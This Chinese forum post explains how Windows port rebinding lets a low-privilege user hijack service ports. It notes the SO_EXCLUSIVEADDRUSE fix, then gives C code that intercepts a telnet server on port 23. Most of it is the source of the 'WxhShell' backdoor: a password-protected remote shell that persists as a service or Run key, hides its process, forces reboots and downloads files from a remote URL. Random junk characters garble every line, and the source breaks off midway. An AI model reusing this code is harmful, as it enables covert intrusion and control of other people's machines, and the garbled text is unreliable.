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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H}A67J9x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'EXp[*  
?(F~9 V  
  saddr.sin_family = AF_INET; Ltc>@  
o|*,<5t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ${ e{#  
? ;\YiOTda  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z`{x1*w_  
=*t)@bn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gq/q]Fm\  
O -@7n0  
  这意味着什么?意味着可以进行如下的攻击: Hh,\>= ':  
ee6Zm+.B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jQc$>M<"o  
S-My6'ar  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u)%J5TR.Y  
HyZh27PE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ofsua?lSe  
PM ,I?lJ,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V;9.7v  
23 3jT@Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uV{cvq$jy  
&r jMGk"&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q^EG'\<^  
/1Ndir^c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s(-$|f+s  
a&9+<  
  #include -K PbA`j+  
  #include sOv:/'  
  #include %<P&"[F]v@  
  #include    ^dRB(E}|)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F@[l&`7  
  int main() [Qr#JJ  
  { G3m+E;o1  
  WORD wVersionRequested; zGA#7W2?0  
  DWORD ret; 1Z|q0-Dw0  
  WSADATA wsaData; h ~v8Q_6  
  BOOL val; L -<!,CASW  
  SOCKADDR_IN saddr; ZxY%x/K  
  SOCKADDR_IN scaddr; K%)u zP  
  int err; G8 H=xr#  
  SOCKET s; </Ja@%  
  SOCKET sc; |G } qY5_  
  int caddsize; SK#; /fav6  
  HANDLE mt; "p0e6Z=  
  DWORD tid;   R FWJ ZN"  
  wVersionRequested = MAKEWORD( 2, 2 ); o^H.uBO{  
  err = WSAStartup( wVersionRequested, &wsaData ); OUQySac  
  if ( err != 0 ) { s@V4ny9x  
  printf("error!WSAStartup failed!\n"); ~Cm_=[  
  return -1; vT)FLhH6*  
  }  K<6)SL4  
  saddr.sin_family = AF_INET; #,lJ>mTe4  
   [s"xOP9R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VI/77  
$zKf>[K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qJj"WU5  
  saddr.sin_port = htons(23); 6;Wns'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ~p<w>C9  
  { =wtu  
  printf("error!socket failed!\n"); qYF150  
  return -1; w`x4i fZ0q  
  } .7_<0&kW  
  val = TRUE; 3vepJ) D (  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6C7|e00v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <>%2HRn<u  
  { M*<Ee]u  
  printf("error!setsockopt failed!\n"); E:(DidSE@  
  return -1; \W4|.[  
  } bW-9YXj%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xim'TVwvC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "w7wd5h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C/_Z9LL?F  
QZw`+KR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rv ouE:  
  { Y,n&g45m  
  ret=GetLastError(); ) G a5c  
  printf("error!bind failed!\n"); 5bBY[qp  
  return -1; +~Wg@   
  } m -]E|  
  listen(s,2); _<}oBh  
  while(1) n.F^9j+V  
  { fAYp\ k  
  caddsize = sizeof(scaddr); crTRfqF  
  //接受连接请求 }xJ ).D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y#7sDd!N|  
  if(sc!=INVALID_SOCKET) =jz [}5  
  { j2^Vz{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yGj'0c::  
  if(mt==NULL) >sGIpER7  
  { @|N{E I  
  printf("Thread Creat Failed!\n"); yI$KBx/]n  
  break; WstX>+?'  
  } F}MjZZj(U=  
  } 29z$z$l4  
  CloseHandle(mt); +7E&IK  
  } .|UIZwW0  
  closesocket(s); 7!F<Uf,V3  
  WSACleanup(); l^!raoH]q  
  return 0; = Zi'L48  
  }   1#}}:  
  DWORD WINAPI ClientThread(LPVOID lpParam) &1 t84p:^=  
  { ]?c9;U  
  SOCKET ss = (SOCKET)lpParam; =/kwUjC?  
  SOCKET sc; S3 Dmc\f  
  unsigned char buf[4096]; Z@(m.&ZRx  
  SOCKADDR_IN saddr; %^pm~ck!  
  long num; _O#R,Y2#  
  DWORD val; tqk^)c4FF(  
  DWORD ret; vLI'Z)\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tw k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b=+3/-d  
  saddr.sin_family = AF_INET; A9Kt^HR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BMi5F?Q'G  
  saddr.sin_port = htons(23); b,hRk1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xlIVLv6dO  
  { dj-/%MU  
  printf("error!socket failed!\n"); *jCHv  
  return -1; 1EiSxf  
  } 9KCeKT>v  
  val = 100; vFwhe!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B}fd#dr  
  { 1 EL#T&  
  ret = GetLastError(); 4LXC;gZ  
  return -1; #n_t5 O[  
  } pgd9_'[5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =j^>sg]  
  { 2=,O)g  
  ret = GetLastError(); s.$:.*k  
  return -1; 1$_|h@  
  } cB0"vbdO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -J":'xCP!  
  { SDu%rr7sQ  
  printf("error!socket connect failed!\n"); rczwxWK  
  closesocket(sc); f1AO<>I;  
  closesocket(ss); fD<0V  
  return -1; A=96N@m6  
  } W %<,GV  
  while(1) r;~7$B)  
  { W#9A6ir>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,8[R0wsBaz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *E|#g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T-F8[dd^/  
  num = recv(ss,buf,4096,0); :d1Kq _\K  
  if(num>0) ovk^  
  send(sc,buf,num,0); W4#E&8g%  
  else if(num==0) T&ib]LmR  
  break; [hJ ASX9  
  num = recv(sc,buf,4096,0); Yij_'0vZ  
  if(num>0) 3w&Z:<  
  send(ss,buf,num,0); eWOZC(I*z  
  else if(num==0) v8U&{pD,  
  break; ^XT;n  
  } >)t-Zh:n  
  closesocket(ss); |U`A So  
  closesocket(sc); -&h<t/U  
  return 0 ; /lLG|aAe  
  }  Il]p >B  
4Q(w D  
\*mKctpz]6  
========================================================== L-`?=- 9`  
%Y=  
下边附上一个代码,,WXhSHELL SoHw9FtS  
RDxvN:v  
========================================================== ?$@E}t8g\  
|Hv8GT  
#include "stdafx.h" t vp kc;  
8vx#QU8E/  
#include <stdio.h> W~& QcSWqD  
#include <string.h> R-6km Tex>  
#include <windows.h> Iu ve~ugO  
#include <winsock2.h> 3Vk<hBw2  
#include <winsvc.h> ZMEYF!j N  
#include <urlmon.h> =>*9"k%m  
*5mJA -[B+  
#pragma comment (lib, "Ws2_32.lib") :!w;Y;L:+  
#pragma comment (lib, "urlmon.lib") H,(4a2zx  
~p{ fl?  
#define MAX_USER   100 // 最大客户端连接数 Mk/ZEyq^  
#define BUF_SOCK   200 // sock buffer :M$8<03>F  
#define KEY_BUFF   255 // 输入 buffer 3oC ^"723  
}F-,PSH Ml  
#define REBOOT     0   // 重启 TOsHb+Uv  
#define SHUTDOWN   1   // 关机 m!WDXt  
8b X?HeYrr  
#define DEF_PORT   5000 // 监听端口 _SrkR7  
Nazr4QU  
#define REG_LEN     16   // 注册表键长度 ]t-B-(D  
#define SVC_LEN     80   // NT服务名长度 DI\^&F)3T2  
& &:ZY4`  
// 从dll定义API `08}y*E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _]M :  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }g"K\x:Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6'|NALW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]GiDfYs7%  
)2?A|f8  
// wxhshell配置信息 \eCQL(_  
struct WSCFG { pAH 9  
  int ws_port;         // 监听端口 n==+NL  
  char ws_passstr[REG_LEN]; // 口令 i%otvDn1  
  int ws_autoins;       // 安装标记, 1=yes 0=no y^:6D(SR  
  char ws_regname[REG_LEN]; // 注册表键名 w/wU~~  
  char ws_svcname[REG_LEN]; // 服务名 M5{vYk>,1Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `l-R?C?*!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d=a$Gd_$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~2}^ -,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aFDCVm%U|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 89fl\18%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @l?2",  
t_iZ\_8  
}; Cgn@@P5ZC  
9|2LuHQu+  
// default Wxhshell configuration u`wT_?%w  
struct WSCFG wscfg={DEF_PORT, F <.} q|b  
    "xuhuanlingzhe", O;RNmiVoq  
    1, sX#7;,Ft7  
    "Wxhshell", }>m3V2>[  
    "Wxhshell", N4wMAT:h  
            "WxhShell Service", D}K/5iU]a  
    "Wrsky Windows CmdShell Service", lPn&,\9@~  
    "Please Input Your Password: ", _R;+}1G/  
  1, ^j g{MTa  
  "http://www.wrsky.com/wxhshell.exe", dMoN19F  
  "Wxhshell.exe" Yd$64d7,h  
    }; N0&#fXO  
nXxSv~r  
// 消息定义模块 5h>t4 [~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /[Sy;wn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v QL)I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #mbl4a  
char *msg_ws_ext="\n\rExit."; 4W+%`x_U]  
char *msg_ws_end="\n\rQuit."; k?'PCV  
char *msg_ws_boot="\n\rReboot..."; bn8?-  
char *msg_ws_poff="\n\rShutdown..."; `L?9-)m<f  
char *msg_ws_down="\n\rSave to "; (1}"I RX.  
^g*/p[  
char *msg_ws_err="\n\rErr!"; <=&7*8u0+  
char *msg_ws_ok="\n\rOK!"; G+l9QaFv  
+ywd(Tuzm  
char ExeFile[MAX_PATH]; eE[/#5tK  
int nUser = 0; nuX W/7M  
HANDLE handles[MAX_USER]; n`g:dz  
int OsIsNt; RYKV?f#[H  
eO=!(  
SERVICE_STATUS       serviceStatus; k<\]={ |=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7x :j4  
91bJ7%  
// 函数声明 5A*'@Fr'G  
int Install(void); pd X"M>  
int Uninstall(void); &<%U7?{~  
int DownloadFile(char *sURL, SOCKET wsh); w\3'wD!  
int Boot(int flag); m7~[f7U  
void HideProc(void); ^9I^A!w=  
int GetOsVer(void); _\2^s&iJh  
int Wxhshell(SOCKET wsl); 5zsXqBG  
void TalkWithClient(void *cs); QtsyMm  
int CmdShell(SOCKET sock); 9C)w'\u9+  
int StartFromService(void); i4oBi]$T  
int StartWxhshell(LPSTR lpCmdLine); i*%2 e)  
}V % b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gq r(.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]qk/V:H:  
G.c@4Wz+  
// 数据结构和表定义 ?4}EhXR(  
SERVICE_TABLE_ENTRY DispatchTable[] = UT7".1H  
{ =m= utd8  
{wscfg.ws_svcname, NTServiceMain}, =rDIU&0Y  
{NULL, NULL} aXefi'!6  
}; QZ54Osdl  
y i/jZX  
// 自我安装 ))>)qav  
int Install(void) /A) v $Bv=  
{ R!.HS0i.  
  char svExeFile[MAX_PATH]; c~UYs\  
  HKEY key; }qOC*k:  
  strcpy(svExeFile,ExeFile); $0K%H  
o$r]Z1  
// 如果是win9x系统,修改注册表设为自启动 1f1J'du  
if(!OsIsNt) { <U$A_ ]*w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Rdq^TGMi;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); weiqt *,8  
  RegCloseKey(key); _"`U.!3*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v#`Wf}G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xbA% 'p  
  RegCloseKey(key); o s HE4x  
  return 0; '2%/h4jY  
    } =}~h bPJM  
  } kM?p>V6  
} S,,3h0$X  
else { RKP->@Gs  
8_tMiIE-pS  
// 如果是NT以上系统,安装为系统服务 s/K}]F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~4iI G}Y<  
if (schSCManager!=0) Th%1eLQ  
{ Tl3{)(ezx  
  SC_HANDLE schService = CreateService 0R2 AhA#  
  ( 0Fh*8a}?b  
  schSCManager, 5!*5mtI  
  wscfg.ws_svcname, N+PW,a  
  wscfg.ws_svcdisp, ?%h JZm;  
  SERVICE_ALL_ACCESS, pTK|u!fs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RfB""b8]=  
  SERVICE_AUTO_START, FBcF  
  SERVICE_ERROR_NORMAL, 5Ffz^;i  
  svExeFile, }x1mpPND  
  NULL, #7U,kTj9  
  NULL, 3HA$k[%7P  
  NULL, m!:7ur:Y  
  NULL, >1tGQ cg  
  NULL 6Bp{FOj:Ss  
  ); 7 v<$l  
  if (schService!=0) UG>OL2m>5  
  { K`FgU 7g{  
  CloseServiceHandle(schService); ^[CD-#  
  CloseServiceHandle(schSCManager); !DCJ2h%E[_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m=S[Y^tR  
  strcat(svExeFile,wscfg.ws_svcname); u hP0Zwn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O`dob&C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :u{0M&  
  RegCloseKey(key); zux+ooU  
  return 0; 8y!fqXm%)  
    } GD'C^\E aZ  
  } .VmI4V?}h  
  CloseServiceHandle(schSCManager); ZjEO$ ts=@  
} Md {,@ G  
} G6eC.vU]j  
xM;gF2  
return 1; asW1GZO  
} ) ZOmv  
S_:(I^  
// 自我卸载 *4qsM,t  
int Uninstall(void) -H`G6oMOO  
{ R\:C|/6f  
  HKEY key; .tN)H1.:B  
=O)JPo&iwY  
if(!OsIsNt) { 0mj=\j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i:kWO7aP  
  RegDeleteValue(key,wscfg.ws_regname); H]=3^g64  
  RegCloseKey(key); 0m`7|80#P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"xd'\c@  
  RegDeleteValue(key,wscfg.ws_regname); 4'54  
  RegCloseKey(key); n/@/yJ<EFi  
  return 0; i? AZ|Ha[  
  } Lx?bO`=qg7  
} L238l  
} 54J<ZXCs  
else { ].dTEzL9X  
@mJN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9'toj%XQ  
if (schSCManager!=0) Hs=!.tZ,  
{ 7^iF,N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X_'.@q<!CV  
  if (schService!=0) M:`hb$k:  
  { Sc6wC H  
  if(DeleteService(schService)!=0) { f/;\/Q[Z7  
  CloseServiceHandle(schService); &"tce6&  
  CloseServiceHandle(schSCManager); {C]M]b*F6(  
  return 0; 4rM77Uw>  
  } F41!Dj7  
  CloseServiceHandle(schService); P1) 80<t  
  } `FJnR~d  
  CloseServiceHandle(schSCManager);  29sgi"  
} 0!vC0T[  
} xk|$Oa  
ri JyH;)  
return 1; eN> (IW  
} >>$IHz4Z"  
RaU.yCYyu  
// 从指定url下载文件 ){YPP!8cI  
int DownloadFile(char *sURL, SOCKET wsh) Ix"c<1 I  
{ cZ!s/^o?f  
  HRESULT hr; Yn<0D|S;X  
char seps[]= "/"; uAjGR  
char *token; <Z m ,q}  
char *file; gv[7h'}<  
char myURL[MAX_PATH]; l(]\[}.5  
char myFILE[MAX_PATH]; 5&X  
ZHC sv]l  
strcpy(myURL,sURL); [QZ~~(R  
  token=strtok(myURL,seps); zt,-O7I'1  
  while(token!=NULL) n~&R_"mv(  
  { 9uS7G*  
    file=token;  +rT(  
  token=strtok(NULL,seps); }qD.Ek  
  } _yWH\5@  
Y$ChMf  
GetCurrentDirectory(MAX_PATH,myFILE); ,#wVqBEk  
strcat(myFILE, "\\"); 5R=lTx/Hj  
strcat(myFILE, file); #Y5I_:k  
  send(wsh,myFILE,strlen(myFILE),0); F7;xf{n<  
send(wsh,"...",3,0); S-rqrbr|AT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tJwF h6  
  if(hr==S_OK) l#~Fe D  
return 0; 40#KcbMa|  
else T) ,:8/  
return 1; huF L [  
*}_/:\v  
} @zJI0_Bp  
BL8\p_U  
// 系统电源模块 i `>X5Da5  
int Boot(int flag) k( g$_ ]X  
{ 7&At _l_  
  HANDLE hToken; "q`%d_  
  TOKEN_PRIVILEGES tkp; EkL\~^  
nUd\4;J#  
  if(OsIsNt) { X#3<hN*v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `U g.c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6#KI? 6  
    tkp.PrivilegeCount = 1; Dz50,*}J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *cf"l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8zc!g|5"  
if(flag==REBOOT) { + kF[Oh#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P+b^;+\1s  
  return 0; %b{!9-n}  
} ^ Wl/  
else { *.*:(7`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Y[-t;  
  return 0; t~M<j| ]k  
} y[|g!9Rp  
  } =+"'=o  
  else { <=inogf  
if(flag==REBOOT) { o 4b{>x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KB"iF}\P0  
  return 0; $0*47+f  
} Mz G ryM-  
else { xI<dBg|]+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f oVD+\~Y  
  return 0; m4DH90~a8  
} 5HbTgNI  
} Az-!LAu9 R  
3E ZwF  
return 1; =CVT8(N*  
} [;=ky<K0E  
cLU*Tx\  
// win9x进程隐藏模块 Q$vr`yV#=6  
void HideProc(void) YW{V4yW  
{ =_dd4`G&<  
cP2R2 4th  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &JlR70gdHi  
  if ( hKernel != NULL ) d*>k ]X@G  
  { JKT+ q*V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,jnRt%W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uu X"AFy~\  
    FreeLibrary(hKernel); (RmED\.]4  
  } IA^)`l7H  
n`}&, UA$4  
return; N 9&@,3  
} :b ;1P@W<  
CCY|FK  
// 获取操作系统版本 5dp#\J@  
int GetOsVer(void) "J5Pwvs-  
{ GF!{SO4  
  OSVERSIONINFO winfo; DjIswI1I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #(IMRdUf  
  GetVersionEx(&winfo); )M N yOj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tKeO+6l  
  return 1; Qg>GW  
  else j_yFH#^W:  
  return 0; w)eQ'6Vu  
} W{+0iAYnp  
Ql@yN@V  
// 客户端句柄模块 % 9/)  
int Wxhshell(SOCKET wsl) {@ y,  
{ is?&%VY  
  SOCKET wsh; _ <a)\UR  
  struct sockaddr_in client; j$|C/E5?  
  DWORD myID; r65NKiQD  
3Gl]g/  
  while(nUser<MAX_USER) tMZ(s  
{ ,A!e"=HF  
  int nSize=sizeof(client);  GQ0(&I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); % B &?D@  
  if(wsh==INVALID_SOCKET) return 1; I*t)x,~3  
^Ai_/! "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .r|vz6tU?  
if(handles[nUser]==0) &E &iaw!  
  closesocket(wsh); \ui^ d  
else 4D8yb|o  
  nUser++; *6D%mrK  
  } eH!|MHe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $ XsQ e  
IaTq4rt  
  return 0;  "$Iw Q  
} j'*p  
[E~,>Q  
// 关闭 socket EjX'&"3.  
void CloseIt(SOCKET wsh) !en F8a  
{ #KNq:@wp6  
closesocket(wsh); <Ihed |  
nUser--; E9d i  
ExitThread(0); m=iov 2K>  
} 01c/;B  
X_({};mz  
// 客户端请求句柄 <SM&VOiaOz  
void TalkWithClient(void *cs) Mr NOcx&  
{ lMzCDx !m  
N"x\YHp  
  SOCKET wsh=(SOCKET)cs; =@KYA(D  
  char pwd[SVC_LEN]; FJ%R3N\  
  char cmd[KEY_BUFF]; #or oY.o  
char chr[1]; !bV(VRbu  
int i,j; i)=89?8  
7x7r!rSe,  
  while (nUser < MAX_USER) { txfwLqx  
Pv-V7`{  
if(wscfg.ws_passstr) { lzy$.H"W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mERZ_[a2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ K+V?-=  
  //ZeroMemory(pwd,KEY_BUFF); 0HJqsSZ$mW  
      i=0; Go+xL/f  
  while(i<SVC_LEN) { UE,~_hp  
~R?dDL  
  // 设置超时 9Oo*8wvGG  
  fd_set FdRead; ;Jbc'V'fm  
  struct timeval TimeOut; YaVc9du7  
  FD_ZERO(&FdRead); 1yaIV+_y/  
  FD_SET(wsh,&FdRead); ~\:j9cC  
  TimeOut.tv_sec=8; V0'p1J tD  
  TimeOut.tv_usec=0; .FbZVYc]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8X ?GY8W:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KYRm Ui#  
!:5`im;i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @2~O^5[>  
  pwd=chr[0]; 0o=6A<#x  
  if(chr[0]==0xd || chr[0]==0xa) { K]pKe" M  
  pwd=0; P$6f+{  
  break; :Y J7J4  
  } [%iUg\'7d  
  i++; ^Q)gsJY|I  
    } ]k`Fl,"  
/romTK4  
  // 如果是非法用户,关闭 socket J'\eS./w|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +ptF-  
} $XQ;~i   
q:- ]d0B+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l q\'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'UguC">  
Z}K.^\S9  
while(1) { ,+NE:_  
^Azt.\fMX  
  ZeroMemory(cmd,KEY_BUFF); & GzhcW~  
@RoRNat  
      // 自动支持客户端 telnet标准   csFJ5  
  j=0; 1IF'>*  
  while(j<KEY_BUFF) { *t?~)o7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKi}@|0[@  
  cmd[j]=chr[0]; }KD7 Y  
  if(chr[0]==0xa || chr[0]==0xd) {  UE&C  
  cmd[j]=0; pRrqs+IJZ\  
  break; zh{@? k  
  } l)i &ATvCE  
  j++; Q/3tg  
    }  *_ {l  
5v !DYx  
  // 下载文件 ]w_  
  if(strstr(cmd,"http://")) { Ukh$`q}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gdf1+mi  
  if(DownloadFile(cmd,wsh)) XAQ\OX#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %TW% |"v  
  else ~`~%(DA=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z)ft3(!  
  } 0279g   
  else { 2Z/][?Jj{  
\f /!  
    switch(cmd[0]) { rF8W(E_=  
  }1a<{&  
  // 帮助 ?`N57'iPb  
  case '?': { l`v +sV^1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }DDVGs[  
    break; `'[7~Ew[  
  } WbC0H78]  
  // 安装 9zoT6QP4  
  case 'i': { -TK|Y"  
    if(Install()) {8!ZKlB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {?@t/.4[W3  
    else pBg|n=^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b"R, p=M  
    break; 5#TrCPi6A  
    } KdOh'OrT9.  
  // 卸载 D0Vyh"ua  
  case 'r': { H9Y2n 0  
    if(Uninstall()) e(OwS?K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IFd )OZ5  
    else Xq8uY/j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  !fQJL   
    break;  .6O52E  
    } H )BOSZD  
  // 显示 wxhshell 所在路径 ), nCq^Bp  
  case 'p': { iA55yT+  
    char svExeFile[MAX_PATH]; )(:+q(m  
    strcpy(svExeFile,"\n\r"); 4 |zdXS  
      strcat(svExeFile,ExeFile); L;1$xI8tx  
        send(wsh,svExeFile,strlen(svExeFile),0); #D|! .I)  
    break; sorSyuGr  
    } h` irO 5  
  // 重启 =~GE?}.o  
  case 'b': { yCF"Z/.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [+g(  
    if(Boot(REBOOT)) <mv7HKVg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Je#!Wd  
    else { bx hPjAL  
    closesocket(wsh); B`?N,N"  
    ExitThread(0); Af2=qe  
    } EX`"z(L  
    break; ~`*1*;Q<H|  
    } d] b~)!VW  
  // 关机 I! h(`  
  case 'd': { '}U_D:o.b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zdv.PGn  
    if(Boot(SHUTDOWN)) u-AWJc+F.  
